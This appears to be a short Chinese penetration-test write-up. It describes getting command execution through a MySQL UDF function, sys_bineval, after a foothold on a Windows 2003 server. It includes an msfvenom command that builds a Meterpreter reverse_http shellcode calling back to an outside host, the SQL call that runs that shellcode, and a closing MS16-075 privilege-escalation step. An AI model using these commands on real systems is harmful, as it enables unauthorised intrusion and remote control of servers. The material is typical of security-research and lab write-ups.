udf之sys_bineval

小技巧

0x01

拿到shell,先摸清环境

1
win03+iis6+apache+php+mysql

查看被禁用函数

1
System,exec,passthru

尝试使用未被禁用函数以及调用com,asp等皆无法执行命令

0x02

从某个盘的数据库备份文件翻到mysql的root密码,经过尝试发现被降权了,不过能导出udf,进而尝试创建函数执行命令,在使用sys_exec,sys_eval执行命令的时候………mysql炸了,没错,炸了,执行一次炸一次,而且并未成功执行命令
目光转向开放端口

1
2
80
3306

将root开启外连,使用sqlmap -d 进行连接,os-shell尝试执行命令,依然爆炸,将sqlmap的udf丢进winhex查看函数列表,发现有个函数(sys_bineval)可以进行内存加载shellcode,随即定位到sqlmap的os-pwn功能,使用这个功能的时候,首先尝试了几次未成功反弹shell,经过本地测试和实战测试对比并使用 -v 3进行debug,发现实战中os-pwn反弹shell的时候并未调用sys_bineval执行shellcode,本地测试也是偶尔可行(垃圾sqlmap)

0x03

本地测试debug拿到payload,进行手工构造payload进行反弹shell

1
msfvenom -p windows/meterpreter/reverse_http EXITFUNC=thread LPORT=8080 LHOST=172.16.229.139 -a x86 -e x86/alpha_mixed -f raw BufferRegister=EAX > test ;cat test |xxd -c 9999 -ps

V9wcnO.jpg
反弹shell

1
Select sys_bineval(0x填这);

V9BseO.jpg

0x04

Ms16-075 getsystem